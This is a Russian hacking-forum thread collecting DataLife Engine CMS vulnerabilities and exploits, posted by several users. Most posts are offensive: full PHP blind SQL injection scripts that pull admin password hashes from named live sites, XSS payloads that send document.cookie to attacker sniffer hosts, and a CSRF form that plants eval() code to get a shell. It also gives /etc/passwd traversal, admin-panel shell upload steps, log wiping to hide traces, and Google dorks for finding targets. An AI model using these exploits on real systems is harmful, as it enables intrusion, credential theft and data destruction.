PDA

Просмотр полной версии : [ Обзор уязвимостей DataLife Engine ]


Страницы : [1] 2

Solide Snake
28.10.2007, 02:11
Обзор уязвимостей [DataLife Engine]

Сайт производителя: www.dle-news.ru (http://www.dle-news.com/)
Актуальная версия: 6.3 (http://rapidshare.com/files/63936151/DataLife_Engine_v.6.3_Nulled.rar)

DataLife Engine v.3.7

[Раскрытие установочного пути]

В parse.class.php выделено 12582912 байт на проверку сообщения.
Переполнение делается так: "<<><><><><><>>"

[ХСС]

Угнать кукисы можно при помощи вставки картинки.
-- этим можно воспользваться всегда, даже если нету таких кнопок при
добавлении новости, личном сообщении, добавления коментария.
Непосредственно сама ХСС:

http://anyimage.com/ok.gif" onmouseover='document.location=" class="fixed">http://your.sniffer.com/sniff/sniff.gif?id="+document.
cookie;'><!--

[Проблемы с SQL]

http://target.net/category/topic/ -- где topic -- это не существующая тема.
Результат: SELECT id FROM nws_category WHERE parentid=not detected ;


Версия 4.1 возможно более ранние SQL Injection.

Описание:
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения.

Уязвимость существует из-за недостаточной обработки входных данных в параметре "user" в сценарии index.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения. Пример:

http://[host]/index.php?subaction=userinfo&user=[code]


DataLife Engine <= 4.1 Remote SQL Injection Exploit (perl) (http://www.milw0rm.com/exploits/1938)
DataLife Engine <= 4.1 Remote SQL Injection Exploit (php) (http://www.milw0rm.com/exploits/1939)
SQL injection for <=4.1 version exploit (http://www.x-sec.info/advisory40.txt)
RGdatalife - exploit (php version) (http://www.x-sec.info/RGdatalife.txt)

halkfild
13.01.2008, 01:25
в виду наличия множества ресурсов в сети под этим движком решил поискать хоть какие-то уязвимости в нем..

пошел на офф сайт http://dle - news.ru/. SoftNews Media Group любезно предоставляет демо доступ для просмотра движка в роботе http://demo.dle - news.ru/ тут и начнем.

Так, как это все на их сервере и это демо версия, то почти весь функционал они обрезали оставив только чтение =\. смотрим...

баг в функциях оптимизации базы

http://demo.dle-news.ru/admin.php?mod=dboption&action=dboption

пакеты браузера

cmd> GET /admin.php?mod=dboption&action=dboption HTTP/1.0
cmd> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
cmd> Referer: http://demo.dle-news.ru/admin.php?mod=dboption
cmd> User-Agent: 8.50 iia Nokia 6630 (in Spanish) — Mozilla/4.0 (compatible; MSIE 6.0; Symbian OS; Nokia 6630/4.03.38; 6937) Opera 8.50 [es]
cmd> Host: demo.dle-news.ru
cmd> Cookie: PHPSESSID=2962374dc7d3a4f7035f4f5d290c02e2; dle_skin=deleted; dle_hash=deleted; lastusername=demo; dle_name=demo; dle_password=fe01ce2a7fbac8fafaed7c982a04e229
cmd>
hdr> HTTP/1.1 200 OK
hdr> Server: nginx/0.5.34
hdr> Date: Thu, 10 Jan 2008 22:05:26 GMT
hdr> Content-Type: text/html; charset=windows-1251
hdr> Connection: close
hdr> X-Powered-By: PHP/5.2.3
hdr> Expires: Tue, 11 Jun 1985 05:00:00 GMT
hdr> Cache-Control: no-store, no-cache, must-revalidate
hdr> Pragma: no-cache
hdr> Last-Modified: Thu, 10 Jan 2008 22:05:48 GMT
hdr> Cache-Control: post-check=0, pre-check=0
hdr> Content-Length: 1337
hdr> Content-Language: ru
RequestDone Error = 0
StatusCode = 200


расскрытие при повторном посте
и ошибка при не корректном посте данных /*пишет не корректное название таблицы*/


Warning: reset(): Passed variable is not an array or object in /usr/home/15292/demo.dle-news.ru/html/engine/inc/dboption.php on line 28 Warning: Variable passed to each() is not an array or object in /usr/home/15292/demo.dle-news.ru/html/engine/inc/dboption.php on line 32 MySQL Error!
------------------------

The Error returned was:
You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1

Error Number:
1064


так же мона юзать xss

method=post auction=http://demo.dle-news.ru/admin.php?mod=dboption&action=dboption
ta%5B%5D=dle_email,"><script>alert()</script>&whattodo=optimize
или
ta%5B%5D=dle_files"><script>alert(/xss/)</script>&whattodo=repair

вообщем имеем пост ксс и расскрытие пути

з.ы. сначала незаметил и создал новую тему ^^

Solide Snake
13.01.2008, 01:31
DataLife engine...(версию уязвимую так и не выяснил... т.к. багу сам нашел, но точно знаю что до пятой... на 4.2 прокатывает)

Листилка (читалка) файлов там где не стоит мэйджик квотез:

http://site.dmn/engine/ajax/vote.php?vote_action=results&vote_skin=../../../../../../../../../../../etc/passwd%00

Да и еще примечательно это тем, что полюбому можно прочитать пароль к БД т.к. в этой двиге обязательно присутствует файло с настройками пользователя БД и соответственно при хорошем раскладе узнать пароли админа и через админку шелл залить (в большинстве случаев получается) но для этого в конфигурации в админке надо зделать кой какие изменения... ну я думаю это каждый сможет...

(c) Scipio

r00tk1d
03.02.2008, 03:59
Раскрытие полного установочного пути (для авторизированых юзеров)
index.php?do=pm&doaction=newpm&user[]=

Результат
Warning: urldecode() expects parameter 1 to be string, array given in %путь_установки%/engine/init.php on line 49

l-l00K
02.03.2008, 18:07
blind sql-inj в неофициальном модуле к Dle files (файловый архив)
уязвимость после order by в параметре orderby
Пример запроса:
http://www.alldown.ru/index.php?do=files&op=cat&id=1&orderby=if(ord(substring((select+password+from+dle _users+where+user_group=1+limit+0,1),1,1))+between +0+and+0,url,(select%201%20from%20dle_downloads))+--+

Эксплоит:
<?php
set_time_limit(0);
/*-----------------------------------------------------*/
//Эксплойт для модуля Files(модуль файлового архива) к DLE
//Автор: H00K
/*-----------------------------------------------------*/

/*-----------------Настройки---------------------------*/
$host="symbiware.org";//указываем хост
$catid = "38";//Указываем id существующей категории
$userid = "0";//Указываем id администратора
/*-----------------------------------------------------*/

$good = "MySQL Fatal Error";
$bad = "Архив файлов";
$path="/index.php?do=files&op=cat&id={$catid}&orderby=if(ord(substring((select+password+from+dle _users+where+user_group=1+limit+{$userid},1),";
$end = ",(select%201%20from%20dle_downloads),url)+--+";
$index = 1;
$result = "";

function GetMiddle($min, $max)
{
return floor($min+((($max+1)-($min-1))/2));
}

function Check($min,$max)
{
if (($max-$min)<=2)
{
global $index;
global $result;
global $host;
global $path;
echo "Символ найден: ";
if (($max-$min)==1)
if (CheckSQL($host, $path, $index.",1))={$max}"))
$result .=chr($max); else $result .=chr($min);
if (($max-$min)==2)
{
if (CheckSQL($host, $path, $index.",1))={$max}"))
{
$result .=chr($max);
} else
{
if(CheckSQL($host, $path, $index.",1))={$max}-1"))
$result .=chr($max-1); else $result .=chr($min);
}
}
echo substr($result,strlen($result)-1)."<br>";
flush();
$index++;
return true;
} else return false;
}

function CheckSQL ($host, $path, $st)
{ global $end;
$line="";
$fo = fsockopen($host, 80, $errno, $errstr, 30);
if(!$fo){die ("no connect");}
else
{
$headers="GET ".$path.$st.$end." HTTP/1.1\r\n";
$headers.="Host: ".$host."\r\n";
$headers.="Connection: Close\r\n\r\n";
global $good;
global $bad;
fwrite($fo, $headers);
while (!feof($fo))
{
$line = fgets($fo, 512);
if (strpos($line,$good))
{
fclose($fo);
return true;
}
if (strpos($line,$bad))
{
fclose($fo);
return false;
}
}
fclose($fo);
}
return false;
}
if (CheckSQL($host, $path, $index.",1))+between+1+and+255"))
echo (" Идет подбор символов...<br>"); else die("Ошибка");

for ($i=0;$i<32;$i++)
{
$min = 31;
$max = 123;
$ok = true;
while ($ok == true)
{
$num = GetMiddle($min,$max);
if (!check($min,$max))
{
if (CheckSQL($host, $path, $index.",1))+between+1+and+{$num}"))
{
echo("Меньше $num <br>");
$max = $num;
} else
{
echo ("Больше $num <br>");
$min = $num;
}
flush();
} else $ok = false;
}
}
echo $result;
?>

© H00k

Qwazar
08.04.2008, 00:16
Нашёл XSS в модуле DLE Forum 2.1

http://site/dle-forum.php?status_report=<script>alert(/XSS/)</script>

Работает если админ забыл удалить файл dle-forum.php после установки. (Установщик даже не предупреждает о том, что хорошо бы это сделать :) )

З.Ы.
Гуглом ищутся по запросу:

intitle:"Работает на DLE Forum"

Qwazar
08.04.2008, 01:49
Ещё забавную багу нашёл в модуле DLE Forum 2.1
:)

Возможность отправки сообщений от имени произвольного пользователя (можно несуществующего):

Создайте страничку со следующим кодом:

<form method="POST" action="http://site/?do=forum&act=post&code=reply&code=01">
Forum ID: <input type="text" name="forum_id" value="2"><br/>
Topic ID: <input type="text" name="topic_id" value="1"><br/>
Post ID: <input type="text" name="post_id" value="3"><br/><!-- Не допёр нафига это передавать, но кажется должно быть уникальным -->
Text: <input type="textarea" name="post_text" value="This Is Sample Text..."><br/>
UserName: <input type="text" name="name" value="SuperAdmin"><br/><!-- Вписываем что хотим -->
UserMail: <input type="text" name="mail" value="Billy@mail.xx"><!-- Вписываем что хотим -->
<input type="submit">
</form>


Ну и по комментариям сориентируетесь. Если уже залогинены на форуме, не забудьте почистить куки, иначе значение имени пользователя возьмётся из них.

Qwazar
08.04.2008, 17:36
Blind SQL Injection в в модуле DLE Forum 2.1:

На самом деле там две инъекции, в 2х запросах выполняющихся подряд, т.е. одна из ошибок бкдет отображаться в любом случае.

Для выполнения, нужно залогиниться.

Для начала нужно добавить иньекцию в БД

Примеры:
http://site/?do=forum&act=subscription&code=add&tid=-1 UNION SELECT 1,BENCHMARK(100000,md5(current_time)),3,4,5,6,7,8, 9,10,11,12,13,14,15,16,17,18,19 --
http://site/index.php?do=forum&act=subscription&code=add&tid=-1 OR tid=(SELECT 1 UNION SELECT 2) --

Затем, для её выполнения нужно обратиться по адресу:
http://site/index.php?do=forum&act=subscription

При написании неудачного запроса, его нужно удалить командой: (это важно!)

http://test2.ru/?do=forum&act=subscription&code=del&tid=[SQL]

Символ кавычки мне вставить в запрос не удалось, но можно обойтись и без него, если воспользоваться методами из: http://forum.antichat.ru/thread43966.html

З.Ы.
Сорри, что не добил скуль до конца, времени не хватает, но это возможно.

Qwazar
08.04.2008, 21:38
SQL Injection в в модуле DLE mChat v. 2.0:

Нашёл в админке, и после ORDER BY, наверное бесполезная, но:

http://site/admin.php?mod=mchat&start_from=SQL

И вот ещё, ругнётся на следующий запрос (первый символ должен быть цифрой):

http://site/admin.php?mod=mchat&mchat_per_page=1SQL

Зачем может понадобиться, не знаю, ну разве только чтобы выяснить префикс к таблицам.

Qwazar
08.04.2008, 22:07
Раскрытие пути в модуле DLE mChat v. 2.0:

http://site/admin.php?mod=mchat&action=mess_del
http://site/admin.php?mod=mchat&action=do_mess_del

Тоже админка :(

Qwazar
08.04.2008, 23:17
Активная, но очень неудобная XSS в модуле DLE mChat v. 2.0:

При отправке сообщения, вида:

<a href="http://www.ya.ru">А исправь ка</a>

В админке теги отфильтрованы не будут, и вместо стандартной администраторской функции редактирования сообщения, админ перейдёт по ссылке. Если очень постараться, можно создать фейковую страницу с просьбой ввести пароль для редактирования, и хитрым образом заставить админа попробовать отредактировать сообщение. (Из области научной фантастики)

З.Ы.
<script>, document.cookie - фильтрует, "javascript:" превращает в javascript:<b></b> и иногда в неудачных местах ставит <br />. В общем окне просмотра чата, теги видны прекрасно.

Qwazar
12.04.2008, 02:05
Раскрытие пути в DataLife Engine v.6.7:


http://site/engine/inc/init.php
http://site/engine/inc/preview.php
http://site/engine/data/dbconfig.php (работает не везде)
http://site/upgrade/error.php
http://site/upgrade/finish.php
http://site/upgrade/template.php

Раскрытие пути в модуле DLE Forum 2.1:


http://site/dle-forum.php

Раскрытие пути в модуле DLE mChat v. 2.0:

http://site/engine/ajax/mchat.refresh.php

Одна особенность! Не работает в IE, т.к. IE вместо отображения пытается принять файл, юзайте файрфокс или тулзы отображающие результат в текстовом виде.

Нашёл после того, как написал тулзу для поиска раскрытий пути и простейших SQL ошибок :)

З.Ы.
Если кому надо - обращайтесь (написал на Java).

Qwazar
12.04.2008, 04:41
Вот ещё нашёл в модуле DLE Forum 2.1:



Уничтожить некоторые таблицы форума и узнать префикс к таблицам в БД, можно так:

Удалил т.к. то, что побочно уничтожается БД, заметил после публикации уязвимости, думаю неэтично такое выкладывать в паблик..

Уязвимость присутствует, если забыли удалить файл dle-forum.php. В дикой природе встречается ~ в 20-30% случаев.

Безопасно посмотреть префикс к таблицам БД можно так:
http://site/dle-forum.php?action=upgrade

Qwazar
12.04.2008, 05:39
То же самое и в модуле DLE mChat v. 2.0, есть возможность удалить все записи в чате (в том числе логи чата), если забыли удалить папку /mcinstall/ после установки.

В принципе, для чата это не так деструктивно, а вот уничтожить следы деятельности поможет, так что выкладываю:

http://site/mcinstall/?action=doinstall

gibson
21.04.2008, 00:34
1. Бага заключается в следующем.
Смотрим сорс страницы пользователя

<script language="javascript" type="text/javascript">
<!--
var dle_root = '/';
var dle_skin = 'wf_0_1';
var dle_wysiwyg = 'no';
var menu_short = 'Быстрое редактирование';
var menu_full = 'Полное редактирование';
var menu_profile = 'Просмотр профиля';
var menu_fcomments = 'Найти все комментарии';
var menu_send = 'Отправить сообщение';
var menu_uedit = 'Админцентр';
var dle_req_field = 'Заполните все необходимые поля';
var dle_del_agree = 'Вы действительно хотите удалить этот комментарий?';
//-->
</script>

Теперь смотрим сорсы страницы админа

<script language="javascript" type="text/javascript">
<!--
var dle_root = '/cms/dle/';
var dle_admin = 'admin.php';
var dle_login_hash = '1bc5a8a12d90e476dbf6d1bcd58b5860';
var dle_skin = '123';
var dle_wysiwyg = 'no';
var menu_short = 'Быстрое редактирование';
var menu_full = 'Полное редактирование';
var menu_profile = 'Просмотр профиля';
var menu_fnews = 'Найти все публикации';
var menu_fcomments = 'Найти все комментарии';
var menu_send = 'Отправить сообщение';
var menu_uedit = 'Админцентр';
var dle_req_field = 'Заполните все необходимые поля';
var dle_del_agree = 'Вы действительно хотите удалить? Данное действие невозможно будет отменить';
var dle_del_news = 'Удалить новость';
var allow_dle_delete_news = true;
//-->
</script>

Собственно это нам и нужно

var dle_admin = 'admin.php'; // скрипт адмиского входа.
var dle_login_hash = '1bc5a8a12d90e476dbf6d1bcd58b5860'; хеш пароля md5

Логин админа можно узнать из новостей публикуемых на сайте, но могут публиковать и привелигерованные пользователи, по другому хз.
Накатали скрипт, респект zarin за помощь, который подгружает страницу с серва и сохраняет ее на хосте. Нужно только одно условие чтобы оно сработало, это чтобы админ был залогинен на сайте.


<?php
if(isset($_POST["frame"])) {
$fh = fopen("gibson.txt","w+");
fwrite($fh,$_POST["frame"]);
fclose($fh);

}
else{
?>
<html>
<head>
<script>
function sendFrame(FrameID,FormID,TextareaID)
{
content = document.getElementById(FrameID).contentDocument.t ext;
document.getElementById(TextareaID).value = content;
document.getElementById(FormID).submit();
}
</script>
</head>

<body>
<div style="display:block;">
<form action="gibson.php" method="post" id="form0">
<textarea name="frame" id="text0" style="display:none;" ></textarea>
<input type="submit" name="ok" value="ok" style="display:none;" >
</form>
</div>

<IFRAME src="http://xxx.xx/index.php" onload="sendFrame('frame0','form0','text0')" id="frame0" WIDTH="0" HEIGHT="0" >
</IFRAME>

</body>
</html>
<?}?>

ps Скрипт работает в опере с локальными адресами! В фф сек эрроры)

2. Ну и так для развлечения ксс

http://xxx.xx/engine/modules/imagepreview.php?image=javascript:alert(document.c ookie);

Нужно только чтобы рисунки были включены.

Isis
05.05.2008, 08:11
DLE 6.3
Раскрытие пути:
index.php?catalog[]=

maxster
05.05.2008, 19:50
DLE Online Mod Exploit Blind SQL Injection

Нашел багу я, а эксплойт написал Евгений Минаев (http://forum.antichat.ru/member.php?u=44793)

Сохраняем эксплойт и закидываем его к себе на локалхост, от туда запускаем.
Выдерает хеши любого юзера, шифрация md5(md5($pass))

<?php
/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */

/**
* DataLifeEngine Online Mod Exploit Blind SQL Injection. Found by Maxster
* Need magic_quotes_gpc off and mysql version higher than 4.0 (on server)
*
* Useful: email, password, name
*
* PHP versions 4 and 5
*
* LICENSE: This source file is subject to version 3.0 of the PHP license
* that is available through the world-wide-web at the following URI:
* http://www.php.net/license/3_0.txt. If you did not receive a copy of
* the PHP License and are unable to obtain it through the web, please
* send a note to license@php.net so we can mail you a copy immediately.
*
* @category Exploit
* @package None
* @author Eugene Minaev <underwater@itdefence.ru>
* @copyright 2008 ITDefence.ru
* @license http://www.php.net/license/3_0.txt PHP License 3.0
* @version CVS: $Id:$
* @link http://underwater.itdefence.ru
* @since File available since Release 0x00
*/
@set_time_limit(0);
@ini_set('output_buffer', 0);

?>

<html>

<head>
<title>DataLifeEngine Online Mod Exploit Blind SQL Injection</title>
<style type="text/css">
body{
font-family: Tahoma;
font-size: 12px;
color: #e1e1e1;
background-color: #222;
}
</style>
</head>

<body>
<center>
<form method="post" action="<?php echo $_SERVER['SCRIPT_NAME']?>">
dle path:<input type="text" name="server" value="http://localhost/dle/" />
<br/><br/>
admin id: <input type="text" name="userid" value="1" />
<br/><br/>
<input type="submit" />
</form>
</center>
</body>

</html>

<?php
if (!empty($_POST))
{
$_ = create_function('$error', 'die("$error");');
$userid = isset($_POST['userid']) ? (int) $_POST['userid'] : null;
$server = isset($_POST['server']) ? $_POST['server'] : null;
$alphabet = array('a', 'b', 'c', 'd', 'e', 'f', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0');
$responce = null;
$password = null;
$curpos = 1;
$alppos = 0;
$flag = false;


$pathinfo = parse_url($server);
if (false === is_array($pathinfo) or empty($pathinfo['host'])) {
$_('invalid url');
} else {
$fsocket = fsockopen($pathinfo['host'], 80) or
$_('hostname is dead');
$request = "GET {$pathinfo['path']} HTTP/1.1\r\n"
. "Host: {$pathinfo['host']}\r\n"
. "Cookie: dle_onl_session='underWHAT?!\r\n\r\n";
fwrite($fsocket, $request) or
$_ ('failed to write data to socket');
while ($flag === false){
$responce .= fread($fsocket, 128);
$flag = strpos($responce, '</html>') ? true: false;
}
$flag = false;
if (strpos($responce, 'MySQL Error') > 0){
while (strlen($password) < 32)
{
$fsocket = fsockopen($pathinfo['host'], 80) or
$_('hostname is dead');
$responce = null;
$cookie = "' or 1=if(substring((select password from dle_users where user_id = $userid),$curpos,1)='{$alphabet[$alppos]}',1,(select 1 union select 3))/*";
$request = "GET {$pathinfo['path']} HTTP/1.1\r\n"
. "Host: {$pathinfo['host']}\r\n"
. "Connection: close\r\n"
. "Cookie: dle_onl_session=$cookie\r\n\r\n";
fwrite($fsocket, $request) or
$_ ('failed to write data to socket');
$responce = fread($fsocket, 8000);
if (!strpos($responce, 'returns more than 1 row')){
$password .= $alphabet[$alppos];
$curpos += 1;
$alppos = 0;
} else {
$alppos += 1;
}
$flag = false;
$responce = null;
fclose($fsocket);
}
} else {
die ('<center><h1>not vulnerable</h1></center>');
}
echo "<center><h1>$password</h1></center>";
}
}


?>


Google dork: "20ка посетивших:"

Elekt
21.05.2008, 03:08
Datalife Engine 6.7 XSRF
_http://securityvulns.ru/Tdocument552.html

Exploit:

http://site.com/datalife-path/engine/modules/imagepreview.php?image=[XSRF]

Подробно рассмотрено: _https://forum.antichat.ru/thread67881.html

desTiny
11.06.2008, 23:31
Заливка шелла через админку Datalife Engine
Версию точно определить не смог, но в сорцах написано про 2008 год.

Итак, заходим в админцентр.
Далее нажимаем "Другие разделы"
Выбираем где-то в конце "Архив файлов"
Идём на "Настройка Архива Файлов"
Допустимые форматы файлов: дописываем php.
Сохраняемся, идём в "Добавить файл".
Заливаем шелл :)
Его дальше видно в разделе "Файловый Архив" для всех и в свойствах загруженного файла в редактировании файлов в админке.

Нашёл сегодня сам, так как очень приспичело, а старые баги не подходили. Если уже где-то было, извините..
Потом, может, сниму видео...

Ar3s
23.06.2008, 11:35
']КАК ЗАЛИТЬ !!!
+ С меня в репу )

Попробуй через редактирование шаблона сайта.
Там можно вставлять php код в текущий шаблон ИЛИ есть кнопочка [создать новый]. Через нее можно тупо создать шелл. А потом в своих настройках отображения сайта выбрать вновь созданную тему.
Вообщем как-то так. Экспериментируйте.

#Wolf#
24.06.2008, 02:51
Попробуй через редактирование шаблона сайта.
Там можно вставлять php код в текущий шаблон ИЛИ есть кнопочка [создать новый]. Через нее можно тупо создать шелл. А потом в своих настройках отображения сайта выбрать вновь созданную тему.
Вообщем как-то так. Экспериментируйте.
чтобы php код исполнялся в шаблонах (tpl)
надо:
В файле index.php, заменить
echo $tpl->result;

на
function incphp($str)
{
$a = explode('<?', $str);
echo $a[0];
for ($i=1; $i<sizeof($a); $i++)
{
$b = explode('?>', $a[$i]);
eval($b[0]);
if (sizeof($b)>1) echo $b[1];
}
}
incphp($tpl->result['main']);

Теперь Вы можете в любом тексте между тегами <? ... ?> выполнять PHP код.
(с) dle-news.ru
так что облом
---------------------------------------------
загружать шелл через добавление новости тоже не получается.
1) не отображается полный путь файлы\а(шелла) т.к при загрузке скрипт сам дописывает цыфры перед файлом.
2) в папке uploads/files (куда складываются файлы) лежит .htaccess в котором:

<FilesMatch ".*">
Order allow,deny
Deny from all
</FilesMatch>

<FilesMatch "\.(avi|mp3|mp4|flv|swf|wmv)$|^$">
Order deny,allow
Allow from all
</FilesMatch>

DLE 7.0

sabe
01.08.2008, 22:33
Datalife Engine XSRF пытались залатать...... :rolleyes:
http://dle-news.ru/bags/v70/301-nedostatochnaja-filtracija-vkhodjashhikh-dannykh.html
обойти:
вместо javascript пишем Javascript
вместо document.cookie пишем Document.cookie ;)

Lawrence
03.08.2008, 19:13
Весьма интересные вещи творятся когда пользователь повторно заходит в систему под своим аккаунтом (имеется ввиду проходит аутентификацию по кукисам). Запрос браузера:
GET http://www.site.net/ HTTP/1.0
Cookie: dle_twsf_t=a%3A1%3A%7Bi%3A19%3Bi%3A1205043514%3B%7 D; dle_onl_session=-062044f577ca1d58adabaf005e0bf5bf; dle_name=Kit; dle_password=1ad092fcfc34d69ebef9f3c745aea027; dle_newpm=0; PHPSESSID=062044f577ca1d58adabaf005e0bf5bf
Host: www.site.net

Параметр dle_onl_session уязвим, однако при попытки сформировать "злой" запрос мы натыкаемся на повторное использование этого же параметра в другом SQL запросе, результат: очередной MySQL error. Может у кого-то получится пойти дальше?

P.S. Т.к. MySQL error показывает неудачные запросы, есть возможность XSS атаки, однако чужие кукисы "угнать" не получится.

sabe
05.08.2008, 03:55
Недостаточная фильтрация входящих данных

/engine/modules/functions.php

Подробно рассмотрено: http://4dle.ru/bugs/1147156035-nedostatochnaja-filtracija.html

Qwazar
18.08.2008, 19:57
Нашёл XSS в Datalife Engine v 6.7 (в остальных версиях не проверял, по инету потыкался, везде где доступна админка, вроде работает):

В файле: http://site/admin.phpCookie: dle_lastusername='><script>alert(/XSS/)</script>

M4g
02.10.2008, 00:30
Dle forum 2.1 (возможно, последующие версии, не проверял)
Эксплойт, получение логина, хеша, мыла админа:
<form action="http://evil.com/?do=forum&act=category" method="post">
<input name="cid" value="-99' union select 1,2,3,4,5,6,7,8,9,concat(email,':',password,':',na me),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,2 6 from dle_users where user_group=1 limit 1/*"/>
<input type="submit" value="ok"/>
</form>
Действие эксплойта основано на том, что встроенная функция dle check_xss() проверяет на нехорошие символы ' " < > лишь строку $QUERY_STRING, а пост, куки итд запросы остаются непроверенными. Подозреваю, что основной движок страдает тем же самым.
Dle <=6.7 (возможно, последующие версии, не проверял)
Эксплойт, дающий шелл (использовать залогиненным админом) :

<form action="http://evil.com/admin.php?mod=options&action=syscon" method="post">
<input name="save_con[test');@eval(trim(stripslashes($lala)));$config=ar ray('test]" value="test"/>
<input type=hidden name=action value=dosavesyscon>
<input type="submit" value="ok"/>
</form>
далее
http://evil.com/adm.php?mod=options&action=syscon&lala=phpcode();
Действие эксплойта основано на том, что при записи конфига в соотв. пхп-файл, проверяется на нехорошие символы только значение параметра, а само имя параметра-нет+если в массиве конфига послать новый параметр, которого не было, то он успешно запишется в конфиг
ЗЫ хеш зашифрован md5(md5()). Такого вида хеши успешно расшифровываются большинством онлайн-сервисов
Я кончил.

sabe
25.11.2008, 07:26
Недостаточная фильтрация входящих данных

/engine/classes/parse.class.php

Подробно рассмотрено: http://dle-news.ru/bags/v73/439-nedostatochnaja-filtracija-vkhodjashhikh-dannykh.html

l-l00K
30.11.2008, 01:05
Blind slq-inj в модуле галерея для dle, в параметре news_sort
Уязв.код (news_sort) :
show_cat.php
if ( isset($_POST['news_sort']) ) $galConfig['news_sort'] = mysql_escape_string($_POST['news_sort']); elseif ($gal_cat[$category_id]['news_sort'] != "") $galConfig['news_sort'] = $gal_cat[$category_id]['news_sort'];
if ( isset($_POST['news_msort']) ) $galConfig['news_msort'] = mysql_escape_string($_POST['news_msort']); elseif ($gal_cat[$category_id]['news_msort'] != "") $galConfig['news_msort'] = $gal_cat[$category_id]['news_msort'];

if ($galConfig['user_cats_limit']) $sear = "(" . PREFIX . "_gal_cat.cat_status = '0' OR " . PREFIX . "_gal_cat.cat_status = '2') AND " . PREFIX . "_gal_pic.approve='1'"; else $sear = "" . PREFIX . "_gal_cat.cat_status = '0' AND " . PREFIX . "_gal_pic.approve='1'";

$result = $db->query("SELECT " . PREFIX . "_gal_pic.*, " . PREFIX . "_gal_cat.cat_title, cat_alt_name, allow_rating, allow_comm FROM " . PREFIX . "_gal_pic LEFT JOIN " . PREFIX . "_gal_cat ON " . PREFIX . "_gal_pic.pic_cat_id=" . PREFIX . "_gal_cat.cat_id WHERE " . PREFIX . "_gal_cat.cat_alt_name='$category' AND $sear AND " . PREFIX . "_gal_cat.cat_view_level regexp '[[:<:]]($member_id[user_group])[[:>:]]' ORDER BY ".$galConfig['news_sort']." ".$galConfig['news_msort']." LIMIT $cstart, $lim");
Как видим данные из news_sort попадают в функцию mysql_escape_string, но так как в запросе данные не обрамляются кавычками, эта функция никаким образом не помешает проведению sql инъекции

Пример запроса:
POST /index.php?do=gallery&action=show_cat&category=gorod HTTP/1.1
Host: www.simfilife.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127
Keep-Alive: 300
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 133
news_sort=if(ord(substring((select password from dle_users where user_id=1),1,1))>4,(select 1 from dle_usergroups),0)&news_msort=DESC

Exploit:
<?php
set_time_limit(0);
/*-----------------------------------------------------*/
//Эксплойт для неофициального модуля Gallery для DLE
//Автор: l-l00K
//Black Toad Team
/*-----------------------------------------------------*/

/*-----------------Настройки---------------------------*/
$good = "MySQL Fatal Error";
$bad = "robots";
$host= "simfilife.net";//указываем сайт
$path="/index.php?do=gallery&action=show_cat&category=gorod";//Указываем существующую категорию
$body = "news_sort=if(ord(substring((select password from dle_users where user_id=1),";
$index = 1;
$result = "";
$end = ",(select 1 from dle_usergroups),0)&news_msort=DESC";

function GetMiddle($min, $max)
{
return floor($min+((($max+1)-($min-1))/2));
}

function post_sql($host,$path,$post_body)
{
global $end;
$post_body .= $end;
$post_query = "POST ".$path." HTTP/1.1\r\n";
$post_query .= "Host: ".$host."\r\n";
$post_query .= "Connection: close\r\n";
$post_query .= "Content-Type: application/x-www-form-urlencoded\r\n";
$post_query .= "Content-length: " . strlen($post_body) . "\r\n\r\n";
$post_query .= $post_body;

$sock = fsockopen($host, 80, $errno, $errstr, 30);

if (!$sock) die('Could not connect to host! ');

fputs($sock, $post_query);
global $good;
global $bad;
$answer = '';
while (!feof($sock)) {
$answer .= fgets($sock, 1024);
if (strpos($answer,$good))
{
fclose($sock);
return true;
}
if (strpos($answer,$bad))
{
fclose($sock);
return false;
}
}
fclose($sock);
return false;
}

function Check($min,$max)
{
if (($max-$min)<=2)
{
global $index;
global $result;
global $host;
global $path;
global $body;
echo "Символ найден: ";
if (($max-$min)==1)
if (post_sql($host, $path, $body.$index.",1))={$max}"))
$result .=chr($max); else $result .=chr($min);
if (($max-$min)==2)
{
if (post_sql($host, $path, $body.$index.",1))>{$max}-1"))
{
$result .=chr($max);
} else
{
if(post_sql($host, $path, $body.$index.",1))={$max}-1"))
$result .=chr($max-1); else $result .=chr($min);
}
}
echo substr($result,strlen($result)-1)."<br>";
flush();
$index++;
return true;
} else return false;
}

$bool = true;
while ($bool==true)
{
if (post_sql($host, $path, $body.$index.",1))>0"))
{
echo ("Символ есть, идет подбор...<br>");
flush();
$ok = true;
}
else
{
echo ("Символы кончились <br>");
$ok = false;
$bool = false;
echo $result;
}
$min = 31;
$max = 123;
while ($ok == true)
{
$num = GetMiddle($min,$max);
if (!check($min,$max))
{
if (post_sql($host, $path, $body.$index.",1))<{$num}"))
{
echo("Меньше $num <br>");
$max = $num;
} else
{
echo ("Больше $num <br>");
$min = $num;
}
flush();
} else $ok = false;
}
}

?>

as3kpwnz
15.12.2008, 23:23
http://site.dmn/engine/ajax/vote.php?vote_action=results&vote_skin=../../../../../../../../../../../etc/passwd%00
(c) Scipio

Все еще актуальный баг ,но уже не преставляет никакой ценности ,ибо отображается содержимое скрипта vote.tpl

Достаточно добавить несколько строчек ,и вместо странички с этими ненужными данными будет красоваться "Hacking attemp"


if ($_REQUEST['vote_skin']) {
$qw=$_REQUEST['vote_skin'];
$qqq=preg_match("/^[a-zA-Z0-9]+$/",$qw);
if($qqq){
if (is_dir(ROOT_DIR.'/templates/'.$qw))
{
$config['skin'] = $qw;
}
}
else {
die("Hacking attempt!");
}

Xe-Xe
19.12.2008, 18:24
свеженькая XSS для DLE <= 7.2 от Hadi Kiamarsi

http://victim-site.com/admin.php/%3E%22%3E%3CScRiPt%3Ealert('Hadi-Kiamarsi')%3C/ScRiPt%3E

готовый к работе

http://victim-site.com/admin.php/%3E%22%3E%3CScRiPt%3Evar Xcook=document.cookie;document.images[0].src='http://evil-site.com%3F'+Xcook%3C/ScRiPt%3E

#Wolf#
16.01.2009, 08:15
niva622

1. Версию движка, можно узнать только в админке.


http://dle-news.ru/engine/ajax/updates.php
тут палить нулленый движки :D

mailbrush
02.02.2009, 01:36
Расскрыите путей:
